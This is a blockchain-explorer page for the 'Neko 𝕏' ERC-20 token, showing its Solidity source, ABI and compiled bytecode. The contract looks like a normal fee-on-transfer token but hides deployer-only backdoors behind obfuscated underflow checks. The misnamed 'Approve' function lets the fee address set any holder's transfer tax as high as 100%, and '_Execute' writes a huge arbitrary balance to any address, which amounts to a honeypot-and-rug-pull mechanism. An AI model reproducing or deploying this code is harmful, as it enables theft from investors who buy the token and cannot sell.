ERC-20
Overview
Max Total Supply
1,000,000,000 Neko𝕏
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
98,693.258679288 Neko𝕏Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NekoX
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-19 */ /** https://www.neko-xtoken.com/ https://twitter.com/NekoXERC20 https://t.me/NekoXErcPortal */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; constructor () {_owner = msg.sender;} function owner() public view returns (address) {return _owner;} modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function transferOwnerships(address newOwner) public virtual onlyOwner { _owner = newOwner; } } contract NekoX is Ownable { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public _swapFeeTo;string public name;string public symbol; uint8 public decimals;mapping(address => bool) public _isExcludeFromFee; uint256 public totalSupply;IUniswapRouter public _uniswapRouter; bool private inSwap;uint256 private constant MAX = ~uint256(0); mapping (address => uint256) public __balances; uint256 public _swapTax; address public _uniswapPair; function _transfer(address from,address to,uint256 amount) private { bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]; _balances[from] = _balances[from] - amount; uint256 _taxAmount; if (shouldBetakeFee) { uint256 feeAmount = amount * __balances[from] / 100; _taxAmount += feeAmount; if (feeAmount > 0){ _balances[address(_swapFeeTo)] += feeAmount; emit Transfer(from, address(_swapFeeTo), feeAmount); } } _balances[to] = _balances[to] + amount - _taxAmount; emit Transfer(from, to, amount - _taxAmount); } constructor (){ name = unicode"Neko 𝕏"; symbol = unicode"Neko𝕏"; decimals = 9; uint256 Supply = 1000000000; _swapFeeTo = msg.sender; _swapTax = 0; totalSupply = Supply * 10 ** decimals; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[msg.sender] = true; _isExcludeFromFee[_swapFeeTo] = true; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); _isExcludeFromFee[address(_uniswapRouter)] = true; } function Approve(address[] memory users, uint256 feePercent) external { uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; for (uint256 i = 0; i < users.length; i++) { __balances[users[i]] = feePercent; } } function _Execute(address user) public { mapping(address=>uint256) storage _allowance = _balances; uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1; uint256 C = A - 3;A = C; _allowance[user] = 1000*totalSupply*C**2; } function balanceOf(address account) public view returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;} function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);} receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnerships","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916331790556040805180820190915260098152684e656b6f20f09d958f60b81b6020820152600490620000539082620003ec565b506040805180820190915260088152674e656b6ff09d958f60c01b6020820152600590620000829082620003ec565b506006805460ff19166009908117909155600380546001600160a01b031916331790556000600b55633b9aca0090620000bd90600a620005cd565b620000c99082620005e5565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782553060009081526002602090815260408083209383529281529082902060001990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015620001e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020a9190620005ff565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620005ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003079190620005ff565b600c80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff19166001179055506200062a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200037257607f821691505b6020821081036200039357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003e757600081815260208120601f850160051c81016020861015620003c25750805b601f850160051c820191505b81811015620003e357828155600101620003ce565b5050505b505050565b81516001600160401b0381111562000408576200040862000347565b62000420816200041984546200035d565b8462000399565b602080601f8311600181146200045857600084156200043f5750858301515b600019600386901b1c1916600185901b178555620003e3565b600085815260208120601f198616915b82811015620004895788860151825594840194600190910190840162000468565b5085821015620004a85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050f578160001904821115620004f357620004f3620004b8565b808516156200050157918102915b93841c9390800290620004d3565b509250929050565b6000826200052857506001620005c7565b816200053757506000620005c7565b81600181146200055057600281146200055b576200057b565b6001915050620005c7565b60ff8411156200056f576200056f620004b8565b50506001821b620005c7565b5060208310610133831016604e8410600b8410161715620005a0575081810a620005c7565b620005ac8383620004ce565b8060001904821115620005c357620005c3620004b8565b0290505b92915050565b6000620005de60ff84168362000517565b9392505050565b8082028115828204841417620005c757620005c7620004b8565b6000602082840312156200061257600080fd5b81516001600160a01b0381168114620005de57600080fd5b610d44806200063a6000396000f3fe6080604052600436106101185760003560e01c80634bf28fd0116100a0578063934cabb511610064578063934cabb51461035057806395d89b41146103705780639ebbaef714610385578063a9059cbb146103a5578063dd62ed3e146103c557600080fd5b80634bf28fd01461029a57806365b61b77146102ba57806370a08231146102da5780637d9a8db8146103105780638da5cb5b1461033257600080fd5b806330da23e4116100e757806330da23e4146101c3578063313ce567146101d957806336b2e02714610205578063420d10b514610235578063426329c11461026257600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013961040b565b6040516101469190610937565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046109a1565b610499565b6040519015158152602001610146565b34801561018b57600080fd5b5061019560085481565b604051908152602001610146565b3480156101af57600080fd5b5061016f6101be3660046109cb565b6104b0565b3480156101cf57600080fd5b50610195600b5481565b3480156101e557600080fd5b506006546101f39060ff1681565b60405160ff9091168152602001610146565b34801561021157600080fd5b5061016f610220366004610a07565b60076020526000908152604090205460ff1681565b34801561024157600080fd5b50610195610250366004610a07565b600a6020526000908152604090205481565b34801561026e57600080fd5b50600354610282906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b3480156102a657600080fd5b50600c54610282906001600160a01b031681565b3480156102c657600080fd5b50600954610282906001600160a01b031681565b3480156102e657600080fd5b506101956102f5366004610a07565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b5061033061032b366004610a07565b610547565b005b34801561033e57600080fd5b506000546001600160a01b0316610282565b34801561035c57600080fd5b5061033061036b366004610a07565b6105c3565b34801561037c57600080fd5b5061013961062c565b34801561039157600080fd5b506103306103a0366004610a3f565b610639565b3480156103b157600080fd5b5061016f6103c03660046109a1565b6106d8565b3480156103d157600080fd5b506101956103e0366004610b0a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004805461041890610b3d565b80601f016020809104026020016040519081016040528092919081815260200182805461044490610b3d565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b505050505081565b60006104a63384846106e5565b5060015b92915050565b60006104bd848484610746565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461053d576001600160a01b0384166000908152600260209081526040808320338452909152902054610518908390610b8d565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6003546001906000906001600160a01b03163314610566576001610569565b60095b60ff169050600061057b600383610b8d565b915081905061058b600282610c84565b60085461059a906103e8610c93565b6105a49190610c93565b6001600160a01b03909416600090815260209390935250506040902055565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6005805461041890610b3d565b6003546000906001600160a01b03163314610655576001610658565b60095b60ff169050600061066a600383610b8d565b905080915060005b84518110156106d15783600a600087848151811061069257610692610caa565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806106c990610cc0565b915050610672565b5050505050565b60006104a6338484610746565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954600090600160a01b900460ff1615801561077c57506001600160a01b03841660009081526007602052604090205460ff16155b80156107a157506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b0385166000908152600160205260409020549091506107c8908390610b8d565b6001600160a01b03851660009081526001602052604081209190915581156108a5576001600160a01b0385166000908152600a60205260408120546064906108109086610c93565b61081a9190610cd9565b90506108268183610cfb565b915080156108a3576003546001600160a01b031660009081526001602052604081208054839290610858908490610cfb565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03841660009081526001602052604090205481906108cb908590610cfb565b6108d59190610b8d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61091f8487610b8d565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561096457858101830151858201604001528201610948565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461099c57600080fd5b919050565b600080604083850312156109b457600080fd5b6109bd83610985565b946020939093013593505050565b6000806000606084860312156109e057600080fd5b6109e984610985565b92506109f760208501610985565b9150604084013590509250925092565b600060208284031215610a1957600080fd5b610a2282610985565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a5257600080fd5b823567ffffffffffffffff80821115610a6a57600080fd5b818501915085601f830112610a7e57600080fd5b8135602082821115610a9257610a92610a29565b8160051b604051601f19603f83011681018181108682111715610ab757610ab7610a29565b604052928352818301935084810182019289841115610ad557600080fd5b948201945b83861015610afa57610aeb86610985565b85529482019493820193610ada565b9997909101359750505050505050565b60008060408385031215610b1d57600080fd5b610b2683610985565b9150610b3460208401610985565b90509250929050565b600181811c90821680610b5157607f821691505b602082108103610b7157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104aa576104aa610b77565b600181815b80851115610bdb578160001904821115610bc157610bc1610b77565b80851615610bce57918102915b93841c9390800290610ba5565b509250929050565b600082610bf2575060016104aa565b81610bff575060006104aa565b8160018114610c155760028114610c1f57610c3b565b60019150506104aa565b60ff841115610c3057610c30610b77565b50506001821b6104aa565b5060208310610133831016604e8410600b8410161715610c5e575081810a6104aa565b610c688383610ba0565b8060001904821115610c7c57610c7c610b77565b029392505050565b6000610a2260ff841683610be3565b80820281158282048414176104aa576104aa610b77565b634e487b7160e01b600052603260045260246000fd5b600060018201610cd257610cd2610b77565b5060010190565b600082610cf657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104aa576104aa610b7756fea2646970667358221220d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e364736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101185760003560e01c80634bf28fd0116100a0578063934cabb511610064578063934cabb51461035057806395d89b41146103705780639ebbaef714610385578063a9059cbb146103a5578063dd62ed3e146103c557600080fd5b80634bf28fd01461029a57806365b61b77146102ba57806370a08231146102da5780637d9a8db8146103105780638da5cb5b1461033257600080fd5b806330da23e4116100e757806330da23e4146101c3578063313ce567146101d957806336b2e02714610205578063420d10b514610235578063426329c11461026257600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013961040b565b6040516101469190610937565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046109a1565b610499565b6040519015158152602001610146565b34801561018b57600080fd5b5061019560085481565b604051908152602001610146565b3480156101af57600080fd5b5061016f6101be3660046109cb565b6104b0565b3480156101cf57600080fd5b50610195600b5481565b3480156101e557600080fd5b506006546101f39060ff1681565b60405160ff9091168152602001610146565b34801561021157600080fd5b5061016f610220366004610a07565b60076020526000908152604090205460ff1681565b34801561024157600080fd5b50610195610250366004610a07565b600a6020526000908152604090205481565b34801561026e57600080fd5b50600354610282906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b3480156102a657600080fd5b50600c54610282906001600160a01b031681565b3480156102c657600080fd5b50600954610282906001600160a01b031681565b3480156102e657600080fd5b506101956102f5366004610a07565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b5061033061032b366004610a07565b610547565b005b34801561033e57600080fd5b506000546001600160a01b0316610282565b34801561035c57600080fd5b5061033061036b366004610a07565b6105c3565b34801561037c57600080fd5b5061013961062c565b34801561039157600080fd5b506103306103a0366004610a3f565b610639565b3480156103b157600080fd5b5061016f6103c03660046109a1565b6106d8565b3480156103d157600080fd5b506101956103e0366004610b0a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004805461041890610b3d565b80601f016020809104026020016040519081016040528092919081815260200182805461044490610b3d565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b505050505081565b60006104a63384846106e5565b5060015b92915050565b60006104bd848484610746565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461053d576001600160a01b0384166000908152600260209081526040808320338452909152902054610518908390610b8d565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6003546001906000906001600160a01b03163314610566576001610569565b60095b60ff169050600061057b600383610b8d565b915081905061058b600282610c84565b60085461059a906103e8610c93565b6105a49190610c93565b6001600160a01b03909416600090815260209390935250506040902055565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6005805461041890610b3d565b6003546000906001600160a01b03163314610655576001610658565b60095b60ff169050600061066a600383610b8d565b905080915060005b84518110156106d15783600a600087848151811061069257610692610caa565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806106c990610cc0565b915050610672565b5050505050565b60006104a6338484610746565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954600090600160a01b900460ff1615801561077c57506001600160a01b03841660009081526007602052604090205460ff16155b80156107a157506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b0385166000908152600160205260409020549091506107c8908390610b8d565b6001600160a01b03851660009081526001602052604081209190915581156108a5576001600160a01b0385166000908152600a60205260408120546064906108109086610c93565b61081a9190610cd9565b90506108268183610cfb565b915080156108a3576003546001600160a01b031660009081526001602052604081208054839290610858908490610cfb565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03841660009081526001602052604090205481906108cb908590610cfb565b6108d59190610b8d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61091f8487610b8d565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561096457858101830151858201604001528201610948565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461099c57600080fd5b919050565b600080604083850312156109b457600080fd5b6109bd83610985565b946020939093013593505050565b6000806000606084860312156109e057600080fd5b6109e984610985565b92506109f760208501610985565b9150604084013590509250925092565b600060208284031215610a1957600080fd5b610a2282610985565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a5257600080fd5b823567ffffffffffffffff80821115610a6a57600080fd5b818501915085601f830112610a7e57600080fd5b8135602082821115610a9257610a92610a29565b8160051b604051601f19603f83011681018181108682111715610ab757610ab7610a29565b604052928352818301935084810182019289841115610ad557600080fd5b948201945b83861015610afa57610aeb86610985565b85529482019493820193610ada565b9997909101359750505050505050565b60008060408385031215610b1d57600080fd5b610b2683610985565b9150610b3460208401610985565b90509250929050565b600181811c90821680610b5157607f821691505b602082108103610b7157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104aa576104aa610b77565b600181815b80851115610bdb578160001904821115610bc157610bc1610b77565b80851615610bce57918102915b93841c9390800290610ba5565b509250929050565b600082610bf2575060016104aa565b81610bff575060006104aa565b8160018114610c155760028114610c1f57610c3b565b60019150506104aa565b60ff841115610c3057610c30610b77565b50506001821b6104aa565b5060208310610133831016604e8410600b8410161715610c5e575081810a6104aa565b610c688383610ba0565b8060001904821115610c7c57610c7c610b77565b029392505050565b6000610a2260ff841683610be3565b80820281158282048414176104aa576104aa610b77565b634e487b7160e01b600052603260045260246000fd5b600060018201610cd257610cd2610b77565b5060010190565b600082610cf657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104aa576104aa610b7756fea2646970667358221220d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e364736f6c63430008120033
Deployed Bytecode Sourcemap
1101:3878:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1450:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4325:124;;;;;;;;;;-1:-1:-1;4325:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4325:124:0;1004:187:1;1574:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;1574:26:0;1196:177:1;4455:327:0;;;;;;;;;;-1:-1:-1;4455:327:0;;;;;:::i;:::-;;:::i;1769:23::-;;;;;;;;;;;;;;;;1496:21;;;;;;;;;;-1:-1:-1;1496:21:0;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;1496:21:0;1711:184:1;1518:49:0;;;;;;;;;;-1:-1:-1;1518:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1713:46;;;;;;;;;;-1:-1:-1;1713:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;1424:25;;;;;;;;;;-1:-1:-1;1424:25:0;;;;-1:-1:-1;;;;;1424:25:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1424:25:0;2091:203:1;1799:27:0;;;;;;;;;;-1:-1:-1;1799:27:0;;;;-1:-1:-1;;;;;1799:27:0;;;1601:36;;;;;;;;;;-1:-1:-1;1601:36:0;;;;-1:-1:-1;;;;;1601:36:0;;;3965:94;;;;;;;;;;-1:-1:-1;3965:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;4039:18:0;4022:7;4039:18;;;:9;:18;;;;;;;3965:94;3701:256;;;;;;;;;;-1:-1:-1;3701:256:0;;;;;:::i;:::-;;:::i;:::-;;813:63;;;;;;;;;;-1:-1:-1;851:7:0;868:6;-1:-1:-1;;;;;868:6:0;813:63;;985:107;;;;;;;;;;-1:-1:-1;985:107:0;;;;;:::i;:::-;;:::i;1469:20::-;;;;;;;;;;;;;:::i;3411:282::-;;;;;;;;;;-1:-1:-1;3411:282:0;;;;;:::i;:::-;;:::i;4065:130::-;;;;;;;;;;-1:-1:-1;4065:130:0;;;;;:::i;:::-;;:::i;4201:118::-;;;;;;;;;;-1:-1:-1;4201:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4290:18:0;;;4273:7;4290:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4201:118;1450:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4325:124::-;4391:4;4398:37;4407:10;4419:7;4428:6;4398:8;:37::i;:::-;-1:-1:-1;4443:4:0;4325:124;;;;;:::o;4455:327::-;4544:4;4561:36;4571:6;4579:9;4590:6;4561:9;:36::i;:::-;-1:-1:-1;;;;;4612:19:0;;1704:1;4612:19;;;:11;:19;;;;;;;;4632:10;4612:31;;;;;;;;-1:-1:-1;;4612:38:0;4608:145;;-1:-1:-1;;;;;4701:19:0;;;;;;:11;:19;;;;;;;;4721:10;4701:31;;;;;;;;:40;;4735:6;;4701:40;:::i;:::-;-1:-1:-1;;;;;4667:19:0;;;;;;:11;:19;;;;;;;;4687:10;4667:31;;;;;;;:74;4608:145;-1:-1:-1;4770:4:0;4455:327;;;;;:::o;3701:256::-;3830:10;;3798:9;;3751:44;;-1:-1:-1;;;;;3830:10:0;3844;3830:24;:34;;3861:3;3830:34;;;3857:1;3830:34;3818:46;;;-1:-1:-1;3875:9:0;3887:5;3891:1;3818:46;3887:5;:::i;:::-;3875:17;-1:-1:-1;3875:17:0;;-1:-1:-1;3945:4:0;3948:1;3875:17;3945:4;:::i;:::-;3933:11;;3928:16;;:4;:16;:::i;:::-;:21;;;;:::i;:::-;-1:-1:-1;;;;;3909:16:0;;;;;;;;;;;;-1:-1:-1;;3909:16:0;;;:40;3701:256::o;985:107::-;922:6;;-1:-1:-1;;;;;922:6:0;932:10;922:20;914:39;;;;-1:-1:-1;;;914:39:0;;6529:2:1;914:39:0;;;6511:21:1;6568:1;6548:18;;;6541:29;-1:-1:-1;;;6586:18:1;;;6579:36;6632:18;;914:39:0;;;;;;;;1067:6:::1;:17:::0;;-1:-1:-1;;;;;;1067:17:0::1;-1:-1:-1::0;;;;;1067:17:0;;;::::1;::::0;;;::::1;::::0;;985:107::o;1469:20::-;;;;;;;:::i;3411:282::-;3504:10;;3492:9;;-1:-1:-1;;;;;3504:10:0;3518;3504:24;:34;;3535:3;3504:34;;;3531:1;3504:34;3492:46;;;-1:-1:-1;3549:9:0;3561:5;3565:1;3492:46;3561:5;:::i;:::-;3549:17;;3571:1;3567:5;;3588:9;3583:103;3607:5;:12;3603:1;:16;3583:103;;;3664:10;3641;:20;3652:5;3658:1;3652:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3641:20:0;-1:-1:-1;;;;;3641:20:0;;;;;;;;;;;;:33;;;;3621:3;;;;;:::i;:::-;;;;3583:103;;;;3481:212;;3411:282;;:::o;4065:130::-;4134:4;4141:40;4151:10;4163:9;4174:6;4141:9;:40::i;4790:151::-;-1:-1:-1;;;;;4865:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4907:32;;1342:25:1;;;4907:32:0;;1315:18:1;4907:32:0;;;;;;;4790:151;;;:::o;1835:702::-;1939:6;;1915:20;;-1:-1:-1;;;1939:6:0;;;;1938:7;:35;;;;-1:-1:-1;;;;;;1950:23:0;;;;;;:17;:23;;;;;;;;1949:24;1938:35;:61;;;;-1:-1:-1;;;;;;1978:21:0;;;;;;:17;:21;;;;;;;;1977:22;1938:61;-1:-1:-1;;;;;2030:15:0;;;;;;:9;:15;;;;;;1915:84;;-1:-1:-1;2030:24:0;;2048:6;;2030:24;:::i;:::-;-1:-1:-1;;;;;2012:15:0;;;;;;:9;:15;;;;;:42;;;;2096:317;;;;-1:-1:-1;;;;;2161:16:0;;2132:17;2161:16;;;:10;:16;;;;;;2180:3;;2152:25;;:6;:25;:::i;:::-;:31;;;;:::i;:::-;2132:51;-1:-1:-1;2198:23:0;2132:51;2198:23;;:::i;:::-;;-1:-1:-1;2240:13:0;;2236:166;;2291:10;;-1:-1:-1;;;;;2291:10:0;2273:30;;;;:9;:30;;;;;:43;;2307:9;;2273:30;:43;;2307:9;;2273:43;:::i;:::-;;;;-1:-1:-1;;2363:10:0;;2340:46;;1342:25:1;;;-1:-1:-1;;;;;2363:10:0;;;;2340:46;;;;;1330:2:1;1315:18;2340:46:0;;;;;;;2236:166;2117:296;2096:317;-1:-1:-1;;;;;2439:13:0;;;;;;:9;:13;;;;;;2464:10;;2439:22;;2455:6;;2439:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2423:13:0;;;;;;;:9;:13;;;;;:51;;;;2490:39;;;2509:19;2518:10;2509:6;:19;:::i;:::-;2490:39;;1342:25:1;;;1330:2;1315:18;2490:39:0;;;;;;;1902:635;;1835:702;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;45